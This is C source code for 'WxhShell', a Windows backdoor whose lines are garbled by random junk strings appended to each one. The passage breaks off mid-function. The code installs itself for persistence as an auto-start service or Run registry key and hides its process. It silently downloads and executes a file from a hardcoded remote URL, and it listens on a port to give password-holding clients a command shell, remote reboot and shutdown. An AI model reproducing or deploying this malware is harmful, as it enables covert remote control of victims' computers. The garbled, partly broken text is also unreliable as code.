    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Nf%jLK~  
    if(Boot(SHUTDOWN)) $A9!} `V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q!$?G]-%  
    else { lnEc5J@c>i  
    closesocket(wsh); c&e?_@} |  
    ExitThread(0); Gc<Jx|Q7  
    } 5<<e_n.2q  
    break; ` Cdk b5  
    } CY? ]o4IV  
  // 获取shell [kMXr'TyPX  
  case 's': { c1'OIK C  
    CmdShell(wsh); <:W]uT  
    closesocket(wsh); WhMr'l/e  
    ExitThread(0); #^" \WG7{  
    break; E#URTt:&>  
  } #'mb9GWD3  
  // 退出 pj6Q0h)  
  case 'x': { Pv1C o:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _~d C>`K  
    CloseIt(wsh); Y [0 S  
    break; #U{^L{1Gx  
    } 3o%JJIn&  
  // 离开 3x#=@i  
  case 'q': { VTa?y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qN1(mxa.?  
    closesocket(wsh); - (VV  
    WSACleanup(); `Yn^ -W  
    exit(1); vHZw{'5y  
    break; K8$Hg:Ky-/  
        } lNs 'jaD  
  } l[.*X  
  } >&f .^p  
gEcVQPD@  
  // 提示信息 (9CB&LZ(+E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '""qMRCm  
} .;u(uB;J6  
  } 43W>4fsc  
5H1SC8+B,  
  return; IpXg2QbN  
} %qcBM~efT  
if9I7@  
// shell模块句柄 `o8b\p\zn  
int CmdShell(SOCKET sock) L%ND?'@  
{ 4NMv7[r  
STARTUPINFO si; `zAV#   
ZeroMemory(&si,sizeof(si)); l!ltgj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Hv>A$x$q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6]Q ~c"+5  
PROCESS_INFORMATION ProcessInfo; Ash"D~  
char cmdline[]="cmd"; [R)?93  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z%Ywjfn'  
  return 0; pv+FPB  
} J*F-tRuEw  
S U~vS   
// 自身启动模式 c|x:]W'ij  
int StartFromService(void) [CGvM {  
{ j01.`G7Q  
typedef struct KW+ps16~  
{ ?d-(M' v.  
  DWORD ExitStatus; DKqFe5rw  
  DWORD PebBaseAddress; ;TD<\1HJT=  
  DWORD AffinityMask; S])YU?e  
  DWORD BasePriority; .J#xlOa-  
  ULONG UniqueProcessId; AMA :hQ  
  ULONG InheritedFromUniqueProcessId; 1!/cd;{B  
}   PROCESS_BASIC_INFORMATION; ;LELC5[*s  
yHLc lv  
PROCNTQSIP NtQueryInformationProcess; >P/kb fPA  
A0# K@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WM}:%T-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )zlksF  
-iGt]mbJkP  
  HANDLE             hProcess; M6vW}APH[n  
  PROCESS_BASIC_INFORMATION pbi; j)Zi4<./  
g-U'{I5F  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7Av/ZS  
  if(NULL == hInst ) return 0; d i`}Y&  
=L{lt9qQz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _SjS^z~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #dE#w#=r  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J\b,rOIf  
\/$T 3f`x  
  if (!NtQueryInformationProcess) return 0; yc8FEn!)&  
1 h|cr_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E)o/C(g  
  if(!hProcess) return 0; HuBG?4Qd  
+ 1\1Z@\M  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4JKB6~Y  
Vj_(55WQ  
  CloseHandle(hProcess); g3 6oEz~|  
w~afQA>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k{Vc5F  
if(hProcess==NULL) return 0; `0 uKJF g  
z{bMW^F  
HMODULE hMod; H@bra~k-  
char procName[255]; Bs =V-0  
unsigned long cbNeeded; m=Y9sB  
c!T^JZBb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @=h%;"  
- y{*U1[  
  CloseHandle(hProcess); >~_y\  
9G` 2t~%  
if(strstr(procName,"services")) return 1; // 以服务启动 h']R P  
YN_#x  
  return 0; // 注册表启动 JQYIvo1,Q  
} K~z*P 0g*  
kV!0cLH!hH  
// 主模块 Nt,)5_K <  
int StartWxhshell(LPSTR lpCmdLine) p/ pVMR  
{ 5)' _3r  
  SOCKET wsl; x=Qy{eIe  
BOOL val=TRUE; \xkLI:*\  
  int port=0; V^QKn+/  
  struct sockaddr_in door; ( t#w@<  
^+oi|y  
  if(wscfg.ws_autoins) Install(); oF,XSd  
9"52b 9U  
port=atoi(lpCmdLine); LO[1xE9  
eW"i'\`0  
if(port<=0) port=wscfg.ws_port; {/uBZ(   
W:O<9ZbQ_  
  WSADATA data; ~:b bV6YO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D QP#h5O  
QIQB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [6K2V:6:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >/;\{IG Wn  
  door.sin_family = AF_INET; \NhCu$'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); GK)3a 9;  
  door.sin_port = htons(port); lyI rO"o  
@^a6^*X>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gn1`ZYg  
closesocket(wsl); O_K@\<;~  
return 1; il<D e]G  
} \#1!qeF  
Dx$74~2e  
  if(listen(wsl,2) == INVALID_SOCKET) { z}.!q{Q  
closesocket(wsl); #pBAGm3  
return 1; @g9j+DcU  
} 2`+?s  
  Wxhshell(wsl); yY_G;Wk  
  WSACleanup(); %1gJOV  
bW;0E%_  
return 0; )&1yt4 x6%  
leiED'  
} >s1FTB-$W  
&JAQ:([:  
// 以NT服务方式启动 J_}&Btb)e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Xx[ L K  
{ p|,K2^?Y  
DWORD   status = 0; auAST;"Z8  
  DWORD   specificError = 0xfffffff; 0(|R N V_  
F+*>q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )wP0U{7?v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; WLiY:X(+|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1,`-n5@J%n  
  serviceStatus.dwWin32ExitCode     = 0; rtvuAFiH  
  serviceStatus.dwServiceSpecificExitCode = 0; ->n<9  
  serviceStatus.dwCheckPoint       = 0; <Xm5re.  
  serviceStatus.dwWaitHint       = 0; Oh6;o1UI  
"8ILV`[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B7nMy oj  
  if (hServiceStatusHandle==0) return; %2^C  
5IW^^<kiu  
status = GetLastError(); "M v%M2'c  
  if (status!=NO_ERROR) _t6siB_u  
{ THJ KuWy  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cx|[P6d  
    serviceStatus.dwCheckPoint       = 0; j8zh^q  
    serviceStatus.dwWaitHint       = 0; EhEn|%S  
    serviceStatus.dwWin32ExitCode     = status; ABNsi$]r0  
    serviceStatus.dwServiceSpecificExitCode = specificError; '97)c7E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); LnZ*,>1 Z  
    return; /4#.qq0\{c  
  } F) {f{-@)  
M$FXDyr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vxUJ4|Qz  
  serviceStatus.dwCheckPoint       = 0; ?Ee?Ol?i2  
  serviceStatus.dwWaitHint       = 0; _S8]W !c  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Il2DZ5- )  
} -kES]P?2  
idGkX ?  
// 处理NT服务事件,比如:启动、停止 &_,^OE}K_:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) rr3NY$W  
{ j_&/^-;e  
switch(fdwControl) TcZ Ci^1F  
{ 1KruGq~  
case SERVICE_CONTROL_STOP: ?XsL4HI x  
  serviceStatus.dwWin32ExitCode = 0; Z{chAg\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L}nj#z4g  
  serviceStatus.dwCheckPoint   = 0; <%JdQ82?  
  serviceStatus.dwWaitHint     = 0; |?s%8c'w=  
  { *{Wh- bc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3Aaj+=]W  
  } KK(x)(  
  return; on*?O O'  
case SERVICE_CONTROL_PAUSE: V?Lf& X?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; o80pmy7@  
  break; fL83:<RK  
case SERVICE_CONTROL_CONTINUE: u~LisZ&tP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4dMwJ"V  
  break; 3=t}py7M  
case SERVICE_CONTROL_INTERROGATE:  8czo#&  
  break; o|]xj'  
}; j2qDRI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9`dQ7z.8t  
} =)Ew6} W6  
>gFF>L>  
// 标准应用程序主函数 _ H$ Cm  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q*DR~Ov  
{ |1g2\5Re  
g.DgJX&i  
// 获取操作系统版本 Xe=@I*  
OsIsNt=GetOsVer(); 7Yk6C5C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); UbC)X iO  
85 "DS-+e  
  // 从命令行安装 dAEz hR[=  
  if(strpbrk(lpCmdLine,"iI")) Install(); TnM}|~V  
+/\.%S/  
  // 下载执行文件 =!U{vT  
if(wscfg.ws_downexe) { VQPq+78  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w#Nn(!VR  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~Ufcy{x#  
} &_" 3~:N8k  
\5s!lv*&  
if(!OsIsNt) { TQ=\l*R(A  
// 如果时win9x,隐藏进程并且设置为注册表启动 lqX]'gu]\  
HideProc(); Rr%]/%  
StartWxhshell(lpCmdLine); :U ?P~HI  
} F`Q,pBl1p6  
else b ";#qVv C  
  if(StartFromService()) 8C,?Ai<ro  
  // 以服务方式启动 "kP.Kx!  
  StartServiceCtrlDispatcher(DispatchTable); xd(AUl4qY  
else k]R O=/ ?M  
  // 普通方式启动 L4Nk+R;  
  StartWxhshell(lpCmdLine); zG [-n.  
'G-VhvM v  
return 0; .vG6\U7  
} Bq R;d  
l,6="5t  
hH"3Y}U@  
lG\lu'<C  
=========================================== J4`08,  
K/MIDH  
nn#A-x}~;b  
5U1@wfKE3>  
bXJ,L$q  
C!qW:H  
" xBB:b\  
WpTC,~-  
#include <stdio.h> %*|XN*iXC  
#include <string.h> yc%AkhX*  
#include <windows.h> gP/]05$e  
#include <winsock2.h> IFG`  
#include <winsvc.h> *ZN"+ wf\  
#include <urlmon.h> E_ mgYW*5  
CXUNdB  
#pragma comment (lib, "Ws2_32.lib") *ArzXhs[  
#pragma comment (lib, "urlmon.lib") jy&p_v1  
+"' h?7'C  
#define MAX_USER   100 // 最大客户端连接数 <LBMth  
#define BUF_SOCK   200 // sock buffer !m_'<=)B4~  
#define KEY_BUFF   255 // 输入 buffer z w5EaY  
q#OLb"bTr  
#define REBOOT     0   // 重启 "<!|am(  
#define SHUTDOWN   1   // 关机 rB=1*.}FLc  
W!IK>IW"  
#define DEF_PORT   5000 // 监听端口 } k5pfz  
ld9 zOq  
#define REG_LEN     16   // 注册表键长度 .YS[Md{  
#define SVC_LEN     80   // NT服务名长度 LgBs<2  
dR$P-V\y`%  
// 从dll定义API o"[qPZd>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r\Man'h$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WqYl=%x"{V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); I9Z8]Q+2"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \BJnJk!%  
w'L;`k;Q  
// wxhshell配置信息 &X|z(vSJ$  
struct WSCFG { /8Vh G|Wb  
  int ws_port;         // 监听端口 ^GRd;v=-@  
  char ws_passstr[REG_LEN]; // 口令 uX.Aq@j  
  int ws_autoins;       // 安装标记, 1=yes 0=no {Ziq~{W_  
  char ws_regname[REG_LEN]; // 注册表键名 =FwFqjvl  
  char ws_svcname[REG_LEN]; // 服务名 .Ta$@sPh}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zaoZCyJT%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [f O]oTh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W >B:W0A  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =q6yb@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |W#^L`!G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {?5EOp~  
(q +Q.Q  
}; Qz<v. _  
oO= 6Kd+T  
// default Wxhshell configuration WBC'~h<@  
struct WSCFG wscfg={DEF_PORT, (5Cm+Sy  
    "xuhuanlingzhe", r/{0Y Fa  
    1, t$Qav>D  
    "Wxhshell", i ;X'1TN(y  
    "Wxhshell", ,j5fzA  
            "WxhShell Service", "h:xdaIE/p  
    "Wrsky Windows CmdShell Service", Nb B`6@r  
    "Please Input Your Password: ", Kx<bVK4"  
  1, 8(g:i#~  
  "http://www.wrsky.com/wxhshell.exe", J+z0,N[  
  "Wxhshell.exe" qPzgGbmD9  
    }; *B3` #t  
JNMZn/  
// 消息定义模块 2OK%eVba  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @8/-^Rh*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; NEJ Nu_Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^-=,q.[7  
char *msg_ws_ext="\n\rExit."; RQe#X6'h  
char *msg_ws_end="\n\rQuit."; vLkZC  
char *msg_ws_boot="\n\rReboot..."; a<vCAFQ  
char *msg_ws_poff="\n\rShutdown..."; -.z~u/uL  
char *msg_ws_down="\n\rSave to "; V$:v~*Y9  
DoImWNLo  
char *msg_ws_err="\n\rErr!"; L#NPt4Sz+  
char *msg_ws_ok="\n\rOK!"; '<XG@L  
n*_FC  
char ExeFile[MAX_PATH]; Dk[[f<H_{  
int nUser = 0; lT$A;7[  
HANDLE handles[MAX_USER]; U)c,ZxE  
int OsIsNt; q l8CgL  
hg\$>W~ 2  
SERVICE_STATUS       serviceStatus; M+nz~,![  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >TtkG|/U-T  
wt)tLMEv  
// 函数声明 m\jp$  
int Install(void); x:?1fvVR  
int Uninstall(void); *4r;H2%c  
int DownloadFile(char *sURL, SOCKET wsh); ii~~xt1  
int Boot(int flag); N^`F_R1Z  
void HideProc(void); {){i ONd  
int GetOsVer(void); 8[zP2L!-  
int Wxhshell(SOCKET wsl); ]1p&*xX:Bj  
void TalkWithClient(void *cs); }hl# e[$  
int CmdShell(SOCKET sock); !@*Ac$J>$  
int StartFromService(void); ]LP&v3  
int StartWxhshell(LPSTR lpCmdLine); QF\NHV  
rGq~e|.O3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KeXQ'.x5O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0! !pNK%(  
)8e_<^M  
// 数据结构和表定义 8 Z#)Xb4  
SERVICE_TABLE_ENTRY DispatchTable[] = SJ+.i u/  
{ .!=g  
{wscfg.ws_svcname, NTServiceMain}, 1Rwk}wL  
{NULL, NULL} n]_8!NU  
}; V-I_SvWv\  
w"A'uFXLc  
// 自我安装 5N ' QG<jE  
int Install(void) <$7*yV  
{ c t,p?[Q  
  char svExeFile[MAX_PATH]; tJg   
  HKEY key; yQCfn1a)  
  strcpy(svExeFile,ExeFile); @^%zh   
6'?Y]K  
// 如果是win9x系统,修改注册表设为自启动 (5'qEi ea  
if(!OsIsNt) { #PtV=Ee1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y+WOU._46I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -bKli<C  
  RegCloseKey(key); 59ro-nA9v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7?cZ9^z`w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (MbI8B>  
  RegCloseKey(key); {)jQbAr(G  
  return 0; tQUp1i{j\  
    } 3QGg;  
  } ^$yr-p%-  
} [l'~>  
else { PsLuyGR.<  
=;c? 6{<1  
// 如果是NT以上系统,安装为系统服务 AA yzT*^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); UyIjM;X  
if (schSCManager!=0) JNk ]$ xz  
{ Az" 3f  
  SC_HANDLE schService = CreateService @KNp?2a  
  ( O2A Z|[*I  
  schSCManager, Ks!.$y:x  
  wscfg.ws_svcname, !y?g$e`  
  wscfg.ws_svcdisp, A^o  
  SERVICE_ALL_ACCESS, L42C<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,R*ru*  
  SERVICE_AUTO_START, .qF@ }dO  
  SERVICE_ERROR_NORMAL, ]y!|x_5c3  
  svExeFile, _X;5ORH"  
  NULL, W^al`lg+y  
  NULL, 1kTJMtZG~  
  NULL, {w{|y[[d~  
  NULL, 7uxy<#Ar  
  NULL l=bB,7gL  
  ); J;'?(xO3\  
  if (schService!=0) sx(yG9  
  { %VSST?aUvX  
  CloseServiceHandle(schService); !]5F2~"v  
  CloseServiceHandle(schSCManager); g4%x7#vz0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &87D.Yy^  
  strcat(svExeFile,wscfg.ws_svcname); ILTd*f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rN} {v}n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {"'W!WT b  
  RegCloseKey(key); !^G+@~U  
  return 0; H9nZ%n  
    } 9 `J`(  
  } s`GSc)AI  
  CloseServiceHandle(schSCManager); bIe>j*VPh@  
} Lj({ T'f(  
} H6rWb6i  
a*74FVZo.;  
return 1; `h :&H,N  
} >y%$]0F1  
0Q%'vBX\`  
// 自我卸载 U}7$:hO"dX  
int Uninstall(void) ma?569Z8~0  
{ pk(<],0]X  
  HKEY key; g :e|  
42t D$S5^  
if(!OsIsNt) { #.a4}ya19  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kw|bEL9!u  
  RegDeleteValue(key,wscfg.ws_regname); f{WJM>$:  
  RegCloseKey(key); <}N0 y*m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `;5UlkVZ5  
  RegDeleteValue(key,wscfg.ws_regname); az0( 54M  
  RegCloseKey(key); !tHqF  
  return 0; B>#zrCD  
  } %|oY8;0|A>  
} )^g}'V=vIr  
} K'N\"Y?>  
else { y.w/7iw:  
M)Tv(7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8~\Fpz|Og  
if (schSCManager!=0) qs 52)$  
{ Zdj~B1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;Z C18@  
  if (schService!=0) GAtK1%nPD  
  { :#c?`>uV  
  if(DeleteService(schService)!=0) { W{ @lt}  
  CloseServiceHandle(schService); S1E2E3  
  CloseServiceHandle(schSCManager); E9%xSMS8@  
  return 0; {Am\%v\  
  } "op1xto  
  CloseServiceHandle(schService); kH1l -mxz  
  } !bT0kP$3}  
  CloseServiceHandle(schSCManager); v?n`kw  
} cV)fe`Gg  
} ,t61IU3"  
]Fl+^aLS  
return 1; 1:q55!b  
} ^yH|k@y  
NQ@ EZoJ  
// 从指定url下载文件 }+i ZY\t  
int DownloadFile(char *sURL, SOCKET wsh) SX/yY  
{ =?vk n  
  HRESULT hr; f1hi\p0q  
char seps[]= "/"; VH,k EbJ  
char *token; DU]MMR  
char *file; G\Toi98d*  
char myURL[MAX_PATH]; B58H7NH ;G  
char myFILE[MAX_PATH]; /Eh\07p  
)0fQ(3oOg  
strcpy(myURL,sURL); peR=J7  
  token=strtok(myURL,seps); .Eh~$wm  
  while(token!=NULL) p^ 9QYR  
  { JR'Q Th:z  
    file=token; \TC&/'7}  
  token=strtok(NULL,seps); XV). cW|.a  
  } I2YQIY+  
4U C/pGZY  
GetCurrentDirectory(MAX_PATH,myFILE); pk: ruf`)  
strcat(myFILE, "\\"); }9<aX Y,  
strcat(myFILE, file); |@Q(~[It  
  send(wsh,myFILE,strlen(myFILE),0);  .;iXe  
send(wsh,"...",3,0); 4xe:+sA.N  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `H+ 7Hj  
  if(hr==S_OK) Q*(]&qr"E  
return 0; $ 7O[|:Yv  
else A$Es(<'9g  
return 1; V4/P  
v?fB:[dG  
} Y@M=6G  
REQ2pfk0  
// 系统电源模块 Ml+.\'r  
int Boot(int flag) .y+>-[j?B  
{ MvL%*("4b  
  HANDLE hToken; +=$]fjE?  
  TOKEN_PRIVILEGES tkp; V:QfI  
kh^AH6{2  
  if(OsIsNt) { qSkt }F%'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); OA4NXl'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); RvYew!n  
    tkp.PrivilegeCount = 1; 0wAZ9AxA{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ruB&&C6)v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }@!d(U*  
if(flag==REBOOT) { x #BUIi  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N!9DZEcm  
  return 0; ^dYFFKQ  
} ZJ=-cE2n  
else { |K aXek  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2Z7smDJ  
  return 0; JNuo+Pq  
} f ,K1a9.  
  } xf% ,UQ  
  else { )1~4Tl,S  
if(flag==REBOOT) { kH-1l>":  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  ZMg%/C  
  return 0; i ,4  
} *=~ 9?  
else { 2=(=Wjk.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [q9TTJ@2  
  return 0; A6q,"BS^d  
} f.V0uBDN  
} qaG%PH}a  
P,_GTs3/G  
return 1; *)L%pH>`  
} D@>P%k$$s>  
j%]i#iqF  
// win9x进程隐藏模块 s:jr/ j!  
void HideProc(void) u;h9Ra1  
{ = Ky1v$<  
P.&,nFIg3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !COaPrg  
  if ( hKernel != NULL ) s/`4]B;2U  
  { k-b_ <Tbo|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "aB]?4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yr[iAi"  
    FreeLibrary(hKernel); kx]f`b  
  } a!Z,~ V8  
- Kj$A@~x  
return; ,UH`l./3DX  
} o=w& &B  
PKwHq<vAsB  
// 获取操作系统版本 PX\}lTJ  
int GetOsVer(void) k,X` }AJ6  
{ 3M+hjc.  
  OSVERSIONINFO winfo; ,yAvLY5 P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ga N4In[d  
  GetVersionEx(&winfo); rQj.W6w=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lv&<kYWY  
  return 1; o+/x8:   
  else YOP=gvZq  
  return 0; i. `S0  
} N@?Fpmu/k  
P[#V{%f*5  
// 客户端句柄模块 SZ1+h TY7d  
int Wxhshell(SOCKET wsl) :g+R}TR[i  
{ p,]Hs{R  
  SOCKET wsh; YU M%3  
  struct sockaddr_in client; 2ai \("?  
  DWORD myID; S>*i^If  
i?4vdL8M  
  while(nUser<MAX_USER) c .KpXY  
{ KB *[b  
  int nSize=sizeof(client); #E{OOcM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ldI;DoE#U1  
  if(wsh==INVALID_SOCKET) return 1; G?'L1g[lc  
}4A+J"M4y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m`4Sp#m  
if(handles[nUser]==0) +)L 'qbCSM  
  closesocket(wsh); S[X bb=n  
else S-.!BQ@RMZ  
  nUser++; $ LFzpg  
  } @"'1"$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y?CEV-3+  
19 bP0y  
  return 0; ,t*#o&+  
} f o4j^,`  
VAsaJ`vcb  
// 关闭 socket Y;xVB" (  
void CloseIt(SOCKET wsh) $N+a4  
{ Le|Ho^h,Y  
closesocket(wsh); .QRQvtd.  
nUser--; ran Q_\  
ExitThread(0); l)a]V]oQ  
} ]*ZL>fuD|  
B=u@u([.  
// 客户端请求句柄 sJw3o7@pg  
void TalkWithClient(void *cs) 9_5Fl,u z  
{ Tj<W4+p{  
Ko>pwhR}  
  SOCKET wsh=(SOCKET)cs; {p yo  
  char pwd[SVC_LEN]; $@}6P,mg  
  char cmd[KEY_BUFF]; |a3)U%rUEQ  
char chr[1]; )z2Tm4>iql  
int i,j; \96?OC dr  
D0lgKQ  
  while (nUser < MAX_USER) { `:-{8Vo7  
L*D-RYW  
if(wscfg.ws_passstr) { z"=#<C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C;G~_if4PR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #N[nvIi}  
  //ZeroMemory(pwd,KEY_BUFF); ZK{VQ~  
      i=0; ;W'y^jp]"  
  while(i<SVC_LEN) { B~jl1g|  
E`u=$~K  
  // 设置超时 a}hpcr({?  
  fd_set FdRead; J+Q ;'J  
  struct timeval TimeOut; 2/E3~X7  
  FD_ZERO(&FdRead); 5?kF'yksR  
  FD_SET(wsh,&FdRead); @Zjy"u  
  TimeOut.tv_sec=8; ~ 9^1m  
  TimeOut.tv_usec=0; !@W1d|{lu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~BDVmQa  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'fy1'^VPAV  
;oH%d;H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u6awcn  
  pwd=chr[0]; |Y0BnyGK  
  if(chr[0]==0xd || chr[0]==0xa) { kbM4v G  
  pwd=0; {%N*AxkvId  
  break; |L%F`K>Z:  
  } Ke~a  
  i++; Ac^}wXp  
    } _F;(#D  
FC.y%P,  
  // 如果是非法用户,关闭 socket l`[*b_ Xt  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B&O931E7  
} m%qah>11  
^z "90-V^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,l.O @  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]+ XgH #I  
s'tmak-}|  
while(1) { <,`=m|z9k  
R1&(VK{  
  ZeroMemory(cmd,KEY_BUFF); iNT1lk  
IT'~.!o7/  
      // 自动支持客户端 telnet标准   zX{ [Z  
  j=0; [JO'ta  
  while(j<KEY_BUFF) { {h7*a=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k$i76r  
  cmd[j]=chr[0]; |9?67-  
  if(chr[0]==0xa || chr[0]==0xd) { ,CA,7Mu:  
  cmd[j]=0; 5A>W;Q\4  
  break; "m3u}!`3  
  } Y"K7$+5#\  
  j++; dSS_^E[{  
    } `Ft.Rwj2:m  
BYqDC<Fq  
  // 下载文件 qCc'w8A  
  if(strstr(cmd,"http://")) { 4IG'T m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /H:'(W_b;  
  if(DownloadFile(cmd,wsh)) u f.Zg;Vc  
